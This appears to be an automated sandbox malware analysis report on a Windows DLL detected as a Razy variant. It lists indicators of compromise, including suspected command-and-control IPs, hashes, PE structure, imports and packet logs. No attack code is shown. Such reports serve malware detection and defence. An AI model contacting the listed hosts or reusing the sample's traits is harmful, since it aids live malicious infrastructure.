asf-ris-prod-neu.northeurope.cloudapp.azure.com, eus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, displaycatalog-rp-useast.md.mp.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtEnumerateValueKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:03:47	API Interceptor	170x Sleep call for process: rundll32.exe modified
05:03:48	API Interceptor	170x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
45.77.0.96	SecuriteInfo.com.Variant.Razy.980776.31954.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.10558.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.8232.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.30568.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.9478.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28061.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse
185.56.219.47	SecuriteInfo.com.Variant.Razy.980776.31954.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.10558.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.8232.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.30568.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.9478.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28061.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
KELIWEBIT	SecuriteInfo.com.Variant.Razy.980776.31954.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.10558.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.8232.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.30568.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.9478.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.28061.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse	185.56.219.47
AS-CHOOPAUS	SecuriteInfo.com.Variant.Razy.980776.31954.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.10558.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.8232.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.30568.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.9478.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.28061.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse	45.77.0.96

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
51c64c77e60f3980eea90869b68c58a8	SecuriteInfo.com.Variant.Razy.980776.31954.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.10558.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.8232.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.30568.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.9478.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.28061.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse	192.46.210.220

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	modified
Size (bytes):	326
Entropy (8bit):	3.4145988351536807
Encrypted:	false
SSDEEP:	6:kK7s8i8EMl/s8gFN+SkQlPlEGYRMY9z+4KlDA3RUeOlEfcTt:D9iW/Y2kPlE99SNxAhUefit
MD5:	DED1536689863466A0127B6A5906C225
SHA1:	F5D0B9678A1A1CD80AB52C7A677E933CC5B4326F
SHA-256:	E984AB0802CFAB2E713433C29CE65BE82252F61046973EFEC4DD66EF52FFB313
SHA-512:	D7CD383D0D720FE026E6CD543ED773CA8732E4008949C5E815CF8C08BE810E4AAE35463E71526A6EBFE45FDE71D9549FBFB7709FC5DFA9F24F56F237586A869D
Malicious:	false
Reputation:	low
Preview:	p...... ........9..&....(...............................................5....... ...........^.......$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.a.a.8.a.1.5.e.a.6.d.7.1.:.0."...

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.4397521906978215
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Variant.Razy.980776.19803.dll
File size:	1375232
MD5:	617b1fd1bfdab72e5562c0c2f7600bcb
SHA1:	9e5bf19ba51cbd5849a225f022b939a48e5769b3
SHA256:	9b9c38d267cedfb2c423fbad71a50f76d0743a3ecc8f6027029fa13ea36e00e4
SHA512:	36ca0f3dc290ee75af38b97cc66e9c8f799b2c1e952aedf90528aa179803f40450647c31bf4c14ea50c6fa35027741c8520f7200011010463b904be3553aca96
SSDEEP:	24576:inxqsL+DvNdnhMr5Lo6dOGcuQNrSH9d6N9eYWtZgDxxxSPnsqz7puATt5csRbu74:icfk82uAJTI7KPswKwuS
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!.g.@.4.@.4.@.43.j4.@.4.8.4.@.4.(.5.@.4.(.5.@.4.(.5.@.4.(.5.@.43.n4.@.4.@.4.A.4.(.5.@.4.(.5.@.4.(a4.@.4.(.5.@.4Rich.@.4.......

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x4336b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5BBD9691 [Wed Oct 10 06:05:05 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	ccbe70d6d0d02f6248ca160d6a0bb85b

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007FE1509E9B77h
call 00007FE1509EA8A7h
mov eax, dword ptr [ebp+10h]
push eax
mov ecx, dword ptr [ebp+0Ch]
push ecx
mov edx, dword ptr [ebp+08h]
push edx
call 00007FE1509E9966h
add esp, 0Ch
pop ebp
retn 000Ch
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [0054806Ch]
xor edx, edx
mov ecx, 00000020h
div ecx
push edx
mov edx, dword ptr [ebp+08h]
xor edx, dword ptr [0054806Ch]
push edx
call 00007FE1509E9BB4h
add esp, 08h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [0054806Ch]
xor edx, edx
mov ecx, 00000020h
div ecx
mov eax, 00000020h
sub eax, edx
push eax
mov ecx, dword ptr [ebp+08h]
push ecx
call 00007FE1509E9B83h
add esp, 08h
xor eax, dword ptr [0054806Ch]
pop ebp
ret
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov ecx, dword ptr [ebp+0Ch]
ror eax, cl
pop ebp
ret
int3
int3
int3
push ebp
mov ebp, esp
call 00007FE1509EAF0Dh
push eax
call 00007FE150A2BC17h
add esp, 04h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword ptr [ebp+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x147190	0x6c	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1471fc	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x15c000	0x72b4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x143110	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x143168	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc7000	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc5e2f	0xc6000	False	0.442065922901	data	6.47812452769	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0xc7000	0x80aec	0x80c00	False	0.534105734223	data	5.52054992664	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x148000	0x13ba0	0x1800	False	0.1875	DOS executable (block device driverpyright)	3.99635070896	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x15c000	0x72b4	0x7400	False	0.710264008621	data	6.69742088731	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

GetCurrentDirectoryA, GetTempPathA, GetWindowsDirectoryA, VirtualProtectEx, FindFirstChangeNotificationA, FlushFileBuffers, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, EncodePointer, DecodePointer, SetLastError, InitializeCriticalSectionAndSpinCount, CreateEventW, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetSystemTimeAsFileTime, GetTickCount, GetModuleHandleW, GetProcAddress, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW, CompareStringW, LCMapStringW, GetLocaleInfoW, GetCPInfo, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, RtlUnwind, RaiseException, InterlockedPushEntrySList, InterlockedFlushSList, GetLastError, FreeLibrary, LoadLibraryExW, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleExW, HeapAlloc, HeapValidate, GetSystemInfo, ExitProcess, GetStdHandle, GetFileType, WriteFile, OutputDebugStringA, OutputDebugStringW, WriteConsoleW, CloseHandle, WaitForSingleObjectEx, CreateThread, SetConsoleCtrlHandler, GetCurrentThread, GetDateFormatW, GetTimeFormatW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, HeapFree, HeapReAlloc, HeapSize, HeapQueryInformation, GetACP, GetProcessHeap, GetTimeZoneInformation, FindClose, FindFirstFileExA, FindFirstFileExW, FindNextFileA, FindNextFileW, IsValidCodePage, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetEnvironmentVariableW, SetStdHandle, GetConsoleCP, GetConsoleMode, SetFilePointerEx, CreateFileW

Exports

Name	Ordinal	Address
Bluewing	1	0x49eed0
Earth	2	0x49efd0
Masterjust	3	0x49eb20

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2021 05:03:44.544986010 CEST	49744	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:44.545033932 CEST	443	49744	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:44.545109987 CEST	49744	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:44.620223999 CEST	49744	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:44.620244980 CEST	443	49744	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:45.131452084 CEST	443	49744	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:45.131642103 CEST	49744	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:46.076596975 CEST	49744	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:46.076620102 CEST	443	49744	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:46.077212095 CEST	443	49744	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:46.077294111 CEST	49744	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:46.096429110 CEST	49744	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:46.096550941 CEST	49744	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:46.096616030 CEST	443	49744	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:46.789201021 CEST	443	49744	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:46.789397001 CEST	443	49744	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:46.789624929 CEST	49744	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:46.791877985 CEST	49744	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:47.443461895 CEST	49744	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:47.443500996 CEST	443	49744	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:47.719405890 CEST	49747	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:47.719451904 CEST	443	49747	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:47.719566107 CEST	49747	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:47.755199909 CEST	49747	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:47.755224943 CEST	443	49747	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:47.855127096 CEST	49748	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:48.013389111 CEST	808	49748	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:48.013540983 CEST	49748	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:48.016355038 CEST	49748	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:48.174503088 CEST	808	49748	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:48.176039934 CEST	808	49748	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:48.176173925 CEST	49748	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:48.244252920 CEST	443	49747	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:48.244374990 CEST	49747	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:48.546824932 CEST	49747	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:48.546881914 CEST	443	49747	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:48.547430038 CEST	443	49747	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:48.547503948 CEST	49747	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:48.551306009 CEST	49747	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:48.551408052 CEST	49747	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:48.551477909 CEST	443	49747	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:48.944669962 CEST	49748	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:49.103060961 CEST	808	49748	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:49.103348017 CEST	808	49748	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:49.103426933 CEST	49748	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:49.104022026 CEST	49748	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:49.104201078 CEST	49748	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:49.243176937 CEST	443	49747	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:49.243279934 CEST	443	49747	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:49.243498087 CEST	49747	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:49.246109962 CEST	49747	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:49.246145010 CEST	443	49747	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:49.262187958 CEST	808	49748	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:49.262213945 CEST	808	49748	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:49.262229919 CEST	808	49748	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:49.262247086 CEST	808	49748	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:49.436227083 CEST	49750	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:49.604432106 CEST	808	49750	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:49.604813099 CEST	49750	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:49.607661963 CEST	49750	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:49.645884037 CEST	808	49748	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:49.645910978 CEST	808	49748	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:49.648533106 CEST	49748	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:49.659590960 CEST	49748	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:49.775866032 CEST	808	49750	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:49.778754950 CEST	808	49750	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:49.778879881 CEST	49750	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:49.817775011 CEST	808	49748	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:49.916028976 CEST	49751	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:49.957117081 CEST	49750	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:50.081513882 CEST	6891	49751	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:50.083161116 CEST	49751	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:50.084867954 CEST	49751	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:50.125045061 CEST	808	49750	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:50.125720024 CEST	808	49750	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:50.125865936 CEST	49750	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:50.126894951 CEST	49750	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:50.127036095 CEST	49750	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:50.250164986 CEST	6891	49751	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:50.251272917 CEST	6891	49751	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:50.251367092 CEST	49751	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:50.294666052 CEST	808	49750	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:50.294689894 CEST	808	49750	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:50.294698000 CEST	808	49750	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:50.294730902 CEST	808	49750	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:50.294743061 CEST	808	49750	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:50.499182940 CEST	49751	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:50.664971113 CEST	6891	49751	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:50.665124893 CEST	49751	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:50.665869951 CEST	49751	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:50.666009903 CEST	49751	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:50.679363012 CEST	808	49750	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:50.679390907 CEST	808	49750	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:50.679527998 CEST	49750	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:50.679568052 CEST	49750	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:50.681910038 CEST	49750	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:50.805602074 CEST	49752	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:50.831274033 CEST	6891	49751	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:50.831293106 CEST	6891	49751	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:50.849797010 CEST	808	49750	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:50.870708942 CEST	6891	49751	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:50.971019983 CEST	6891	49752	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:50.971155882 CEST	49752	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:50.971756935 CEST	49752	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:51.137157917 CEST	6891	49752	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:51.139023066 CEST	6891	49752	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:51.139163971 CEST	49752	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:51.147933960 CEST	49752	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:51.224931002 CEST	6891	49751	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:51.225008965 CEST	49751	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:51.225033045 CEST	6891	49751	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:51.225090027 CEST	49751	6891	192.168.2.3	45.77.0.96
